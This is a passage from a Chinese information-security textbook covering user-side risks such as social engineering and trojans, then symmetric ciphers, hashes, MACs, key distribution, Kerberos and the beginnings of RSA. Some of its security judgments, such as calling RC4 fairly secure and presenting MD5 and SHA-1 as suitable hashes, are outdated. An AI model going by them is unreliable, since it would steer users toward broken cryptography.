用户的使用也会引入大量的安全风险，这些安全风险包括：安全习惯、社会工程等。

安全习惯包括选择足够强壮的密码、进行安全的配置、对外来的软件进行必要的鉴别等。而社会工程学其实就是一个陷阱，黑客通常以交谈、欺骗、假冒或口语等方式，从合法用户中套取用户系统的秘密，例如用户名单、用户密码及网络结构。事实上，众多的安全事件中，由于未知的安全缺陷造成的安全风险微乎其微。大多数用户的主要安全风险，往往是来自于这些非技术方面。因此，对于安全防护而言，对用户的教育往往是最重要的一环。如果一个组织都具有了安全风险意识，那么一般说来，被成功攻击的可能性会小很多。

在这些攻击中，木马是典型的由于用户使用上的不谨慎造成的严重的安全风险。木马一词来源于希腊神话中那只巨型木马，木马程序进入计算机内的方式与神话中军队伪装在巨型木马中进入城堡类似，因此借用其名。木马进入计算机后将会偷窃盗取个人信息，成为一种远程控制的黑客工具。一旦木马程序运行，黑客便可以任意访问、毁坏、窃取计算机中的文件。常见的木马有：NetSpy、BO、冰河、YAI、毒针等。

通常我们所接触到的木马以两种方式进行传播：（1）电子邮件传播。木马程序通过电子邮件传播极为普遍，黑客将木马程序以附件的形式夹在邮件中发送出去，收信人只要打开附件即被感染；（2）软件下载。一些黑客将木马程序捆绑在部分免费软件安装程序上，用户在下载安装这些软件的同时，也将木马程序安装到自己的计算机里；（3）利用WWW网络传播，通过页面上的可运行插件，将木马程序安装到用户的计算机中。
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第2章 密码学基础


CHAPTER 2


2.1 密钥密码学介绍


保密性是数据的一个安全属性，它的主要目的是限制数据所含有的信息知识只能在某个能理解这些数据的群体（如一些人，或者是一些可编程的电子系统）之间共享。达到这一限制的过程，有时也被称为保密，就是将数据明文进行编码的过程，编码后的数据是可逆转的、但很可能没有语法，而且通常没有语义。

早在电子系统出现前很久，就已经出现了多种编码转换方法，这些方法目前通常被称为密码学。数据的加解密转换是一个确定性的过程，在这一过程中，明文形式的数据被隐藏为不暴露原始数据的密文。同样，密文可以被特定的接收者用一种确定性的过程逆转，从而恢复为原始数据。


2.1.1 背景知识介绍


早期的密码学算法通常是逐字处理明文输入，然后使用字母替换或换位等方法来进行加密。替换操作，把输入流中的一个字母替换成字母表中的另一个；而换位操作，则是将输入字符流中的一些字母顺序交换。一个著名的替换操作的例子是凯撒密码，这一密码据说被用于凯撒和他的军队进行联络。这一密码中，每个字符都被扩展字母表中它的后三个字母所代替，扩展字母表就是加上空格的字母表。形式上，它的加密算法就是将每个字母的值加三，然后再对27（加上空格）取余，这样就得到了结果。我们给A～Z的26个字母分别赋值为0到25，然后将每个字母P变为：f(P)=P+3 mod 26，图2.1显示了该算法的一个例子：“RETURN TO BASE”被转换为“UHWXUQ WR EDVH”。


图2.1 简单的替换密码



换位密码通常先把明文分割成不同块，然后使用某种确定程序将不同块间的字符混杂。如图2.2，需要加密的明文“RETURN TO BASE”被分成两块，一块是“RETURN”，一块是“TO BASE”，然后将两块字符采用循环的方式进行混杂，这样就形成了密文“ROTBRS TE UANE”。


图2.2 使用换位进行加密解密的例子



再举一个简单换位的例子，把明文写成一个具有固定行列的二维矩阵，然后简单地对矩阵进行换位即可。如图2.3所示，明文“RETURN TO BASE”被插入一个29的矩阵中，这样即形成一列密文。解密这一密文的方法就是其逆操作，只要将密文写入一个92的矩阵就可以了。


图2.3 行列变换加密



通常，换位加密容易被破解，不过如果将进行完一次换位的结果，再经过另外一个换位，就会大大增强加密强度。

尽管算法很简单，但是替换方法是密钥密码学的一个基本例子（需要加的数就是其密钥）。对密钥保密，将算法公开，就可以对密文进行穷举破解了，在本例中穷举破解的集合只是由1到26的数字。因此，在它使用的时代主要通过依赖算法本身的保密性来保证不会被破解。在我们所举的简单例子中，在已知算法后，几乎可以立即破解密文。

随着电子计算机的出现，早期的现代加密算法使用了类似的方法，即利用换位或者替换。主要的不同是，在这些加密算法中，这些转换通常发生于数据的二进制形式的比特层。一个比较常见的例子就是使用XOR操作。

1.XOR基础知识

XOR操作一般用“+”号来表示，是一个比特层的操作，它将{0，1} X {0，1}映射到

{0，1}集合，映射方法如下：

0+0=0

0+1=1

1+0=1

1+1=0

如果我们将第二个操作数作为密钥值，XOR 操作就可以看作为根据密钥值进行比特层的替换操作。在这一假想下，如果密钥输入为0，则XOR操作返回其本身（0返回0而1返回1），如果密钥输入为1，则XOR操作则进行逆转（1返回0而0返回1）。XOR具有如下性质：

a+0=a

a+a=0，因此

a+b+b=a

后一性质显示出使用某一定密钥值，XOR操作就可以用来加密一段明文，使用相同的密钥值进行 XOR 操作，就可以将这一密文解密。这一属性产生了很多弱加密算法变种，这些算法都采用XOR操作，因此也容易被破解。

假设一个固定长度的密钥K用于对一明文块进行XOR操作加密。在知道了一个明文块P之后，通过将明文和相应的密文进行XOR操作的办法，可以直接得到K。

C=P+K

P+C=P+P+K

=K

类似的，知道了两个明文的相应的密文后，可以通过XOR操作得到这两段明文的XOR值：

C1+C2=P1+K+P2+K

=P1+P2

检查 P1+P2 的比特模式可以很容易地恢复其中的一段明文。明文和相应的密文做 XOR操作之后就可以得到密钥值。

每次只转换一个比特的特点使得XOR可以被划到流加密（stream cipher）的算法类中。块加密（block cipher）是另外一类，该算法中把明文分割成具有相同长度的若干块，通常每块长度等于或者大于64比特，然后每次对每块进行相同的加密变换。流加密算法适用于内存缓冲区有限或者是字符单独传输的情况下，比如说在某传输媒介的终点上。由于它们各比特单独进行变换，因此当发生传输异常时，不会产生更大影响。

下面介绍一次性XOR密码本。

尽管XOR操作简单，在固定密钥长度时强度不够，有一种办法，可以只使用这一种操作就建立完美的加密机制。如果密钥流数字随机产生，且只使用一次，那么所产生的密文就要强壮得多。这样加密方法是可被证明对于只具有一套密文的解密者来说是安全的。图2.4就是简单的基于一次性XOR密码本加密方法的图形表述。

一次性XOR密码本的安全性来源于试图猜出密钥流的难度和直接猜测明文的难度相同。注意一次性XOR模板的密钥流长度和要加密的明文的长度相同，这样的属性使得散发和维护这么长的密钥流的工作变得十分困难，因此也就需要一种流加密算法，通过这样的算法，密钥流从一个可管理的密钥中以伪随机数的方式产生。

比特层的一次性密码本在字符层也工作得很好。其实在历史上，当Joseph Mauborgne和Gilbert Vernam最早发明这一方法时，本来是用在字符上的。每个模板中的字符操作于一个明文中的字符，接收方使用相同的密码本进行解密，然后就将密钥毁去。


图2.4 基于XOR操作的一个简单的一次性密码本



2.密钥空间

密钥，也称作对称密钥，加密函数E通过这一密钥，将明文P转化为密文C。类似的，加密变换可以被解密变换逆转成明文。如图2.5所示。


图2.5 对称密钥加密和解密



现代密钥加密方法的强度一般只依赖于加秘密钥的安全性，而不依赖于对加密算法的保密。因此，可以使用密钥空间中的穷举法对这样的密码系统进行破解。密钥空间就是对于某个加密算法中有效的所有可能的密钥值的集合。举例来说，对于英文字母的任意换位组合有26!种，因此这种加密算法的密钥空间由26！种组合构成。如果加上一些限制条件，如每个字母只是转化为字母表中后面固定次序个的字母，且每次只转化一个字母，这时密钥空间就要小得多了，只含有从1到26的整数。复杂一些的，如规定块长度为3，也就是说将每个（p1
 ，p 2
 ，p3
 ）块转换为（e1
 ，e2
 ，e3
 ），这时密钥空间的大小就是（263
 ）！个 。

大多数密钥密码系统中都使用固定长度随机产生的密钥。这些系统一般都会面临密钥空间的穷举性攻击。对于密码系统来说，要想安全的一个必要但不充分条件是密钥空间大到足以避免穷举性攻击。具有讽刺意义的是，加密算法快也有利于进行快速的穷举破解。


2.1.2 当前密钥加密算法


所有广为流传的密钥块算法都具有块加密算法的密码学特性。首先，密文中的每一比特都依赖于明文块中的所有比特。改变密钥中的任何比特，都会导致有50%的可能性要改变所有密文比特。而且，在明文和密文间无法推断出统计联系。

1.DES

现代密钥密码系统通过 DES 算法而得到广泛注意。DES 是一种对称密钥算法，该算法中，加密和解密使用相同的密钥。DES算法产生于20世纪70年代早期的IBM公司，从1976年起，它成为了用于保护敏感但未列入密级的电子信息的政府标准。这一算法是一种块算法，它将64比特的输入块转化为相应的64比特的输出密文。它使用56比特长的密钥，但通常写为64比特，其中每个字节具有一位奇偶校验位。图2.6是DES算法的高层抽象。


图2.6 DES算法的抽象表示



DES 标准中，数据经过 16 轮处理，每一轮中都根据密钥，使用了包括换位、替换、像XOR的标准算术或逻辑操作等在内的各种操作。

最近由于计算能力的大幅度提高，DES算法正在面临强力破解式的攻击，并显示出该算法易于受到穷举法攻击。TripleDES 是一种利用两个或三个密钥对明文进行三次DES加密的算法。使用两个密钥时，triple-DES 先用第一个密钥进行加密，然后再用第二个密钥进行解密，然后再用第一个密钥加密，从而得到密文。

使用三个密钥的triple-DES对于这三步使用不同的密钥。在 triple-DES中可能的密钥数目是2112
 个，而在DES算法中密钥空间只有256
 个。

2.RC4算法

WEP在对数据进行加密/解密的时候，使用的是RC4算法。RC4是RSA公司的Ron Rivest发明的。该算法利用已知的密钥触发一个伪随机数发生器产生可变长度的随机数，使用这个随机数，以字节为单位和明文做异或运算得到密文。

RC4的算法可以分为三个步骤：

步骤一：初始化向量表。即


    for  (  i=0; i ＜=255; i++ )            state(i)=i;


步骤二： 扰表过程。即


    j=k=0;
    for  (  i=0; i＜256; i++ )
        {   k=[  seed(j) + state(i) + k  ] %  256;
          swap [ state(i)，state(k) ];
          j=(  j + 1  )  %  key_length;
        }


步骤三：对数据进行加密。即


    x=y=0;
    for  (  ; ; )
        {   x=(  x + 1  )  %256;
          y=[  state(x) + y] %  256;
          swap [ state(x)，state(y) ];
          xorIndex=[  state(x) + state(y)  ] %  256;
          S＇(n)=S(n) ^ state(xorIndex);
        }


S＇(n)为加密后的密文，S(n)为加密前的明文。在整个处理过程中，数据流的位宽都为一个字节长，seed(j)为种子序列。

可以看出，RC4算法的第三步实际上是一个无限循环，只要还有未被加密的数据，这个循环都会产生一个独特的序列号。RC4算法利用这个序列号查询SRAM（即数组state）得到加密所需要的随机数，再用这个随机数来加密数据。因此，RC4算法可以产生任意长的随机数序列用于加密过程。

有资料显示，破译RC4算法所需的工作量超过10100
 以上。可以认为，RC4算法是一种比较安全的加密方式。目前，RC4算法在SSL（Security Socket Layer）协议中得到了充分的应用，其安全性也得到了广泛的认可。

3.IDEA

尽管不如DES算法那样出名，IDEA算法被一些当代密码学专家认为是最安全可靠的块加密算法。和DES算法相似，IDEA也是以 64比特为单位加密，并得到其输出密文块。它使用相同的算法进行加密或解密，只是在加密解密的时候密钥调度有所不同。与DES算法不同的是，IDEA使用128比特的密钥，并主要使用三类操作：XOR、对216
 模加，以及对216
 +1的模乘。这些操作组合起来进行相似的8轮计算组合，然后经过输出转换得到最后的密文。

4.AES

Advanced Encryption Standard（AES），是美国政府准备用来替代DES的标准。最近被指定为AES的算法——Rijndael算法，是一种迭代块密码算法，它的密钥长度和块长度都是可变的，可以是128、192或256比特。Rijndael算法简单优美的设计使得它在现代处理器上运转快速高效。而且它只在单或者是4字节的字（words）中使用简单的全字节操作，该算法的实现中需要的内存相对也比较少。这一算法适合于在各种处理器上实现，包括8比特低能耗、存储空间有限的像智能卡之类的硬件。该算法也适用于并行处理或者多计算逻辑设备（ALU）的处理器中。Rijndael算法与传统的Feistel加密法不同，通常Feistel算法中其中间状态的某些部分比特是不变的。Rijndael算法没有采用这一传统的结构，相反，每一轮变换由三个不同的不可逆转的变化组成，每一个变化都以统一类似的方式来对中间状态的每一比特进行处理。


2.1.3 数据完整性和哈西


数据完整性服务和源认证服务都可以利用报文认证代码（Message Authentication Code，MAC）来保证，而且代价要比加密整个明文小得多。MAC主要靠摘要函数来组成。

1.哈西函数

所谓哈西函数，就是一个确定性的过程，通过这一过程，任意长度的报文都可以转换成为一个固定长度的数据摘要字符串。哈西函数目前已经成为了现代密码学中的一个基本组成元素。如果H为一个哈西函数，则需要满足如下条件：

对于任何输入p，都很容易地计算出h=H(p)。

计算p=H-1
 (h)在计算上是不可行的，这一属性也被称作哈西函数的单向属性。

计算出另一个p＇使得H(p)=H(p＇)在计算上也是不可行的。这一属性也被称作哈西函数的抗冲突性。

如果一个函数满足对于随机生成的字节流，映射成一个n比特的哈西值的概率是2-n
 ，那么哈西函数的抗冲突性就能够得到更好的保证。

这里做的假设是，取决于哈西函数的强度，哈西值能够成为原始数据的缩影，从这个意义出发，哈西值也通常被称为指纹。现代密码学中，哈西函数通常被用来提供文档的数字签名，保障数据完整性，以及进行数据源认证。

MD5 和 SHA-1 是目前广泛流行的两种哈西函数。MD5算法生成 128 比特的摘要，而SHA-1生成160比特的摘要。SHA-1算法要更强一些，更能够抵抗穷举破解，而另一方面，MD5算法计算时的性能要好一些。

将哈西函数和某种密钥加密算法组合在一起，就可以形成 MAC，可以用它来保证数据的完整性和源认证。与利用哈西函数防止数据被篡改的MDC（Modification Detection Codes）相比，MAC使用密钥算法进行加密，这样只有那些知道密钥的主体才能够验证摘要。

2.MAC举例

一个简单的单向哈西函数变成 MAC 的方法就是将所得的哈西值用某种块加密算法进行加密。类似的，MAC也可以只使用某种对称块加密算法，采用类似于CBC的方式来进行。在这种方式中，随机选择一块数据作为初始向量。将这一初始向量与要加密的第一块数据进行异或操作，然后加密这一块。将所得结果再与下一块进行类似操作，不断重复这一过程，如图2.7所示。最后一个密文块再以CBC方式进行加密，最后所得即为MAC值。目前，已经有一些这样的算法流程出现。其中使用DES算法的即为DES-MAC，使用Triple DES则称为Triple-DES-MAC。


图2.7 CBC模式的MAC算法



3.HMAC

还有这样一些 MAC 算法，它们只使用带密钥的单向哈西函数。一个简单的例子是将一个密钥加到数据上作为前缀或者是后缀，将所生成的结果再通过哈西函数。还有的算法则将密钥既加为前缀又加为后缀。此外，更可靠的方法是在计算哈西值时，也将数据的长度加到需要生成摘要的数据中去。

这种算法中，一个比较著名的算法即是HMAC。HMAC算法使用了一个通用循环哈西函数H。在实践中，大多数情况都选择MD5或者是SHA-1算法。

我们假定b为所用哈西函数输入块的块长度（对于MD5和SHA-1算法来说都是64），定义如下的内部和外部填充值：

innerPad=byte 0x36，重复b次

outerPad=byte 0x5C，重复b次

为计算HMAC值，需要对输入p执行如下操作：


    H((K XOR outerpad) || H((K XOR innerpad) || p))


这里||表示字符串相连。这一计算可以分解成如下几步：

（1）K后填充0生成一个b字节的字符串

（2）将步骤（1）所生成的字符串与innerPad进行异或操作

（3）在步骤（2）所生成的b字节字符串后添加流p

（4）使用哈西函数H对步骤（3）中所生成的流进行操作

（5）将步骤（1）所生成的字符串与outerPad进行异或操作

（6）在步骤（5）所生成的b字节字符串后添加步骤（4）所生成的结果

（7）使用哈西函数H对步骤（6）中所生成的结果进行操作，得到最终结果

对于最后生成的哈西值来说，H对于该算法的有效性起着重要作用。这一算法可以对剩下的各个块进行相同操作。


2.1.4 密钥密码学的安全服务


密钥加密法可以用来保证数据机密性、完整性和源真实性。

1.保密性

使用密钥算法加密数据内容，可以使得只有具有正确密钥的实体才能解密并从密文中取得原始数据。密钥加密法所保证的机密性的可靠程度依赖于加密算法的强度，尤其依赖于所使用的密钥的长度。密钥长度直接影响密钥空间的大小。较长的密钥生存期间也会降低密钥算法所保证的保密服务的可靠性。密钥使用的时间越长，进行穷举破解成功的可能性就越大。现代大多数安全协议都只在某个通信会话的进行期间使用相同的密钥。

通过安全加密算法保证的保密性服务使得用户可以在公网中传输私人信息。类似的，这样的信息还可以保存在远程媒介而不用顾虑被窃取。保证数据机密性的花销依赖于所采用的加密算法，显然它与要被加密的数据多少成比例关系。

2.密钥密码学及抗抵赖性

密钥密码学本身不足以保证抗抵赖性，抵赖就是对一个已经发生的行为的否认，如一次交易的开始。尽管可以使用密钥加密技术在两个通信实体间建立可信数据通道，一个只使用密钥算法建立的抗抵赖系统有一个固有的缺陷就是密钥发布给多方。

3.源真实性

只要密钥只被双方共享，数据源的真实性就可得到保证。当三方或更多方共享相同密钥时，源真实性就无法只通过密钥算法得到保证。目前已经出现了各种基于密钥技术的认证协议。

图2.8举例说明了一个在A和B之间使用的一个简单的密钥认证协议。通过举证表明自己拥有密钥 K来实现认证。A为了认证 B，它首先产生一个随机值 R1，保存一个拷贝后把一份发给B，B使用E（R1，K）来加密R1，形成一个具有B＇的身份标识和加密后值的报文，然后发送给A。A收到报文后，使用D（R1，K）来解密得到R1并与储存在本地的值相比较。B也可以使用类似的步骤来认证A，这时使用另外一个随机数R2。

如上所述的认证协议还需要仔细地审核。因为这个简单的协议是有缺陷的，它易于遭到反射攻击。在这种攻击中，V利用B愿意加密任何值这一特点，冒充A来向B认证。V首先冒充A产生R2并要求B来加密它，B然后产生随机值R1让V（冒充为A）去加密以便认证。现在V开始一个新的与B的会话，使用接到的值R1来向B要求进行加密，在得到B的答复后，V再回到第一个会话，发给B加密后的值，然后就向B验证了自己是A。


图2.8 一个基本的密钥认证协议



改善这一协议的一种方法是对于会话发起方和应答方必须使用不同的Challenge值。


2.1.5 密钥的发布和管理


一般说来，通过密钥密码学系统提供的安全服务要求密钥在此服务使用之前发布给两个或更多的实体。密钥发布过程也称作密钥的建立过程。为了抵抗潜在的窃听威胁，这个过程通常要求无论是在线还是带外来进行发布，必须通过一定的安全方式来进行。在发布之后，长期的密钥使用使安全管理过程变得必要。

显然，密钥在本地或网络上的存储介质中必须受保护；在进一步的向远端发布的过程中，密钥传输也应当受到保护。构建和维护密钥共享关系是同等重要的，该关系是由用户团体采用的通信方式所决定的。例如，额外的密钥管理细节可能要求两个实体间的密钥建立过程后还要进行密码学确认。密钥管理过程也需要支持万一密钥泄露，在进行相应处理措施的同时，还可以更新旧的密钥。

这些密钥管理功能的复杂性是与本地所采取的策略类型相对应的。更重要的是，它们更多取决于特定团体所遵从的通信模式及网络。本章中，我们将详细阐述支持这一论断的密钥关系拓扑。

假设有n个人为了建立一个他们内部间加密通信的渠道，他们决定使用对称加密法。密钥建立的不同过程可能导致密钥发布的不同情形，一共有四种情形。

1.对于所有用户共用一个密钥


图2.9 群体所有成员共用一个密钥



在这种情形下，所有用户共用一个密钥并用它来对要交换的信息进行加密和解密。这一共享的密钥需要有n次发布，每个用户需要管理一个密钥。这个密钥只要一处泄露，就会导致这个群体中所有加密通信被破解。而且由于所有人共享一个密钥，源认证很难可靠地实现，群体中的成员可以冒充其他人的身份。在这种情形下，非抵赖服务就无法完成。如图 2.9 所示，即为所有成员共享一个密码的情形。

2.每个用户一个密钥

在这种情形下，组里的每个成员使用一个单独的密钥，这样每个用户需要发布n-1次，对于整个团体来说，总共需要发布n(n-1)次密钥。每个用户需要管理他/她自己的密钥，以及其他（n-1）个用户的密钥，共有n个密钥。这种设计可以实现源认证服务，但是无法实现抗抵赖服务。既然每个用户知道使用的所有密钥，他/她就可以对其他用户的通信进行监听。事实上，一旦用户的密钥泄露给其他成员，这个用户就会面临可能的另一个用户冒充他身份的潜在威胁。


图2.10 群体中每个实体和其他成员使用自己的密钥



下面使用有向图来模仿一个团体中的通信方式，端点代表用户。端点a到端点b的有向连接表示需要从a到b的密钥发布过程。密钥发布的总数就是这个有向图的边数，或者是无向图边数的两倍。图2.10中显示了对于五个用户组成的一个群体的情形，群体中每个实体和其他成员是用自己的密钥，箭头表示密钥发布的方向。

3.每一对用户一个密钥


图2.11 一对用户共享一个密钥



在第三种情形中，每一对用户共享一个特有的密钥。

相应的图表示就是一个完全的无向图。无向图的边总数（也就是密钥所需的分布次数）是n(n-1)/2。另外，每个用户需要保存和管理n-1个密钥（每一对用户共享一个密钥），如图2.11所示。破解一个密钥只会使相应的一对用户的通信遭到破坏。

4.每个用户一个单独的密钥

在另一种情形下，每一个用户要使用不同的密钥和组里的其他成员进行通信，这样就有n(n-1)种密钥发布过程（用无向图边数的两倍表示）。另外，现在每个用户需要管理同其他（n-1）个用户进行通信的（n-1）个密钥，同时他/她还要记住给其他（n-1）个用户的每个密钥。这样，每个用户需要管理2(n-1)个密钥，如图2.12所示。这个数字正好是每对用户一个密钥中需要管理密钥数的两倍。


图2.12 组中为每个用户管理不同的密钥



图2.13描述了由七个用户组成的一个组中，通信模式可能会有的三个变种。图中的每个端点表示组里的每个用户，图中的邻边表示成员间双向通信。假设每个用户具有一个特定的密钥，在每种情形下，密钥发布的总数相当于对应图边数总和的两倍。因此，在图2.13（a）中，需要14个密钥发布过程；图2.13（b）中，用户分成两组，共需要24个密钥发布过程；在图2.13（c）中，每个用户需要和组中的其他用户通信，共需要34个密钥发布过程。


图2.13 密钥发布对应于基础通信模式



这些情形表明密钥发布的数目是与组间用户通信连接的数目成正比的。就如我们所看到的，一组用户间密钥关系策略也导致了密钥散发过程的复杂性。一旦需要更新一个密钥，一个密钥发布过程就会重新开始。

一般说来，密钥发布次数越频繁，那么密钥被窃取或破解的可能性就越大。密钥可能在发布时的传输过程，或在存储介质里遭到窃取或破解。事实上，长期使用密钥的发布和暴露实质上违反了对称密钥加密的核心前提，即对称密钥加密系统的安全性取决于密钥的保密性。

5.集中的密钥管理

软件系统的进步已经使密钥发布和管理操作所产生的安全风险有所减缓。如密钥发布中心（KDC）系统，该系统对密钥进行集中管理，集中保存。

这时每个通信实体只需要把密钥告诉给KDC，通过使用这样一个系统，密钥的发布次数减少到等同于参与的团体的数目n。而且，每个参与的实体就可以不必再关心密钥（包括自己的密钥）的管理。

图2.14详细说明了由第三方密钥发布中心引入的全新概念。对于该系统中的每个实体来说，第三方显示了该服务器的中立性。除非通过 KDC 中介进行访问，每个实体只相信KDC而不相信其他实体。


图2.14 集中密钥管理方式



然而，只有 KDC 还不足以在用户群中传播密钥，还需要一个安全协议用来引入其他实体进行中介。在某种程度上，实体是通过信任KDC服务器而与其他实体间建立起信任度的，而KDC只是承当把一个实体介绍给另一个实体的中间人角色。

6.Needham-Schroeder方案

Needham-Schroeder方案提供了一种全新的方式来实现前面所提到的实体安全引入。在这一方案中，可以通过使用临时密钥来实现认证和其他加密安全服务。这个密钥由KDC生成，短期内有效，与两实体间的一次对话相关。

下面简要介绍一下该协议的工作步骤。假设有A、B两实体，希望通过KDC获得一个对话密钥。在此之前，还需要一个建立过程，在这一过程中，A和B分别产生了和KDC对话的密钥Kz
 、Kb
 。我们用Kz
 ，
 b
 表示a、b会话用的一个密钥。我们用Ez
 ，
 b
 表示在a、b实体间使用一个密钥的加密过程。

最开始，实体A通过对KDC提出请求希望得到受理。它发送包含A、B身份和一个随机数字Na
 的信息。




KDC 产生一个对话密钥K，然后，它构成一个包含K和A身份的信息，并用Kb
 ，
 kdc
 （和B共享的密钥）加密。再将结果和A产生的随机数字Na
 、B的身份、会话密钥K联在一起，用Ka
 ，kdc
 加密。




A使用自己的密钥解密前一步骤接收到的信息，然后得到对话密钥K。它检验到即时随机数Na
 和前一步骤发送给KDC的数一样，接着，它把KDC用B的密钥进行加密过的那一部分信息发送给B。




B使用自己和KDC共享的密钥Kb
 ，kdc
 ，并对前一步骤接收到的信息进行解密，因此揭开对话密钥K。然后，它产生一个随机数Nb
 ，使用K进行加密并把它发送给A。




A对前一步骤接收到的信息进行解密，计算出值Nb
 -1；用K进行加密后发送给B。




B 对前一步骤接收到的信息进行解密，并确认它确实接收到值 Nb
 -1。这一步是为了避免重发攻击。

现在，K可用来对A和B在建好的通道上进行交换的任何数据进行加密。

第三方认证协议后来发展成的一个实用体系，即 Kerberos 协议，实际上是Needham-Schroeder方案的一个变种。这个广泛使用的安全协议已经被证明是已设计出的第三方认证方案中最好的方案之一。它的原理直接来源于前一节所讨论到的 Needham-Schroeder方案。具有讽刺意义的是，在安全界中，Kerberos 的发展比可信第三方概念的创造者具有更大的声誉和影响力。它的影响归功于它比可信第三方密钥管理的概念走得更深远一步，使得它更适合实际应用。这一点主要体现在通过在对话密钥上增加时间戳和生存期限，从而比Needham-Schroeder方案更好一些。在对话密钥上加上时间限制，就会使密钥破解或暴露所带来的影响有限。

当然，Kerberos不只包含一个认证协议。它的步骤完成之后，就会产生一个对话密钥的安全发布。这一点构成了Kerberos无需泄露任何长期密钥就在实体间建立加密通道的基础。不依赖于本机操作系统，也不要求运行应用程序的主机物理安全，每个实体均可使用Kerberos协议认证对方。实体是工作在开放网络的假设之下，所谓开放的网络，就是指在这样的网络上，传输的信息包都可能被读、修改或插入。

Kerberos的第 5版本已经成为很多操作系统的一部分，并已成为一个 Internet标准。虽然它的所有协议很精致、安全，但在当今无所不在因特网计算方面，它仍存在一些缺点。首先，为了保证实体间介绍那一步发生，必须要求通信方能够在线访问KDC。另外，需要提供安全时间源以保证所产生的对话密钥的可靠性。最重要的是，即使 KDC 服务器一直在线，也无法满足普遍存在的Internet模型。KDC由于留有所有的密钥，极易成为单点故障点，一旦它遭到破坏，就会发生灾难性问题。

密钥发布的问题其实并不那么在于需要发布的次数，重要的在于寻找一个可靠的安全通道。由于这个问题的递归性质，密钥加密系统本身不能解决密钥发布问题。在下一节中，我们将研究公钥密码学这一全新概念，它能够更好地解决密钥密码学中的密钥发布问题。


2.2 公钥密码学


我们先介绍公钥密码学的基础，然后简要叙述这些密码系统背后的数学方法。接着，将讨论一些常用的公钥加密算法，并将详细叙述公钥系统所提供的服务，以及它们和密钥加密系统的比较。最后引出本书的基本主题：对公钥的信赖。


2.2.1 公钥密码学的基础


公钥密码学是在20世纪70年代中期随着一些著作的出版而出现的，这些著作是由Whitfield Diffie、Martin Hellman以及Ralph Merkle所发表的。它们的原理简单但是雄辩，对密码学及其应用产生了深远的影响。公钥密码学的基本概念是：加密、解密过程需要双钥，公钥和私钥。私钥必须保密，而公钥则是可以自由发布的。用公钥加密的数据只有使用相应的私钥才能破解，反之亦然。

下面，我们假设一个简单的例子，用来说明了公钥加密学系统中的双钥原理。我们限制明码文本只包含26个英文字母和空格——共27个字符。然后用整数[0…26]依次赋值给那些明码文本，空格赋值为26。我们认为加密功能E是仿射变换，它只接收明文P，并把它，映像成密文C，如下：

E(P)=(a×P+b) mod 27=C

其中a、b为固定整数。前面等式中，若用C表示P 就是其逆运算，解码运算D。

D(C)=(a′×C+b′) mod 27

这里 a′=a –1
 mod 27，b′=-a–1
 ×b

由于要求当计算Z/27Z时a有逆，所以，其充要条件就是a和27互素。也就是说，a和27 除了1外没有公约数。注意：这种情况是为了保证在P和C之间有一一映射关系。Z/27Z是以27为模的同余数集合。

该例子中的参数化仿射变换及其逆运算可以组成一个简单的公钥密码系统，其中密钥和公钥分别为（a，b）和（a′，b′）。比如可设 a=2，b=1，(a′，b′)=(14，-14)。当设a=1时，就会发生一个特殊情况，这时会产生一个具有固定移位常量b（在[0…26]之间）的移位变换。如下：

(a，b)=(a′，b′)=(1，b)

这是个对称密钥密码系统的例子，我们曾在第1章中谈到过这种类型的变换。

不过实际上，这种公钥密码系统很容易被攻破，即使设置为一般化的长块而不是单个字符。S大小的长块所产生密码变换，将把每一块映射到0到N s
 -1的一个值，这里的N表示字母表的大小。这个算法的缺点在于使用很简单的操作（以（N-1）为模的乘法和加法）就很容易从加密密钥中推断出解密密钥。不过首先，我们需要注意到这种算法中加密函数有一个确定的逆函数。

公钥加密算法的主要假设是：知道公钥后得出密钥在计算复杂度方面是无法实现的。图2.15说明了公钥密码学的原理。


图2.15 公钥加密原理



现代公钥密码学具有严格的数学基础，该数学基础是基于数论的one-way trapdoor函数：正向计算很容易，而逆向则相当困难。如果在 one-way trapdoor中加密是简单的，则解密是难的方向。只有知道 trapdoor知识（密钥）后才能像加密一样简单地进行解密。现在两个著名的trapdoor one-way函数奠定了现代公钥密码学的基础，我们将在下一节介绍。

1.大数分解问题

我们最先介绍的trapdoor函数是这样的一个问题，计算两个大素数的乘积相当容易；反之，将大数因式分解则是一个复杂得多的问题。因式分解一个整数n就是一个寻找一连串的素数，使得这些素数的乘积等于 n。素数的定义是只能被 1 和它本身整除的整数，不是素数的整数叫合数。因式分解一个大整数（超过1024bit）的计算复杂度，对于当今的计算机技术已知是不可行的。因此，这里的 one-way trapdoor问题就是产生并公开一个大整数，但是隐藏起它的质因子。注意，这里讨论的trapdoor函数要求对随机挑选的非常大的数是否是素数作出判断。实际上素数判断比因数分解要简单得多。

已设计出大量的方法来判断一个奇数N是否是素数。最烦琐的办法就是用从3开始的奇数逐一除N，看有没有一个奇数能整除N。这个过程一直延续到除数小于等于[image: ]
 。由于这个方法所要求的时间复杂度，所以实际上，在远小于[image: ]
 的时候计算就停止了，它一般作为一连串的更复杂因数测试方法中的第一步使用。

现在，我们就将概要介绍广为采用的Rivest-ShamirAdleman（RSA）公钥算法。

2.RSA算法

下面是要获得RSA加密系统的密钥/公钥对的必要步骤。

随机挑选两个大素数p，q（100～200位数字）。计算它们的乘积n=p×q。

计算¢(n)=(p-1)×(q-1)=n+1-p-q。

随机选择另一个数e，满足e和¢(n)互素；也就是e和¢(n)只有公约数1。

然后使用扩展的欧几里德算法计算e的模¢(n)乘法逆d，即e×d mod ¢(n)=1。

数e和数n产生公钥，它们分别为指数和模。d和n产生密钥。加密和解密的逆函数简单地由模减操作组成，该操作是把 Z/nZ的一个元素映射成 Z/nZ的另一个元素，这里，Z/nZ是一系列以n为模的同余集合。由于任何明文T的块，有下列等式：

C=f(T)=Te
 mod n，T=f-1
 (C)=Cd
 mod n

使用减模技术，比如通过我们下一节将介绍的反复减模方法，可以对这一算法进行计算上的优化。

RSA算法围绕三个数展开：公开指数e，私有指数d，还有模n。公开值和私有值都利用了相同的模值，它们互为模为¢(n)下的幂逆，值小于模的明文升幂到e mod n以便产生密文，而密文也将升幂到d mod n以便产生明文。

3.计算模的幂

为了加密或解密一段报文，RSA算法把或明文或密文形式的数据块看成一个大数，然后就可以升到一个大的幂值。注意，这儿的块大小要适当，应该比模值小。如果没有幂的模等于模的幂这一特性，计算这样的幂值是很耗时的。这一属性使得可以通过连续的平方运算得到幂的模。如，对某一整数a求8次幂的模，不必要进行7次大整数乘法，然后再进行1次大整数取模运算，可以使用3次乘法和3次小整数取模运算：

a8
 mod n=((a2
 modn)2
 mod n)2
 modn

即使幂值不是2、4、8等值，这一操作仍然是成立的。

考虑下列例子，计算 399157
 mod 457。

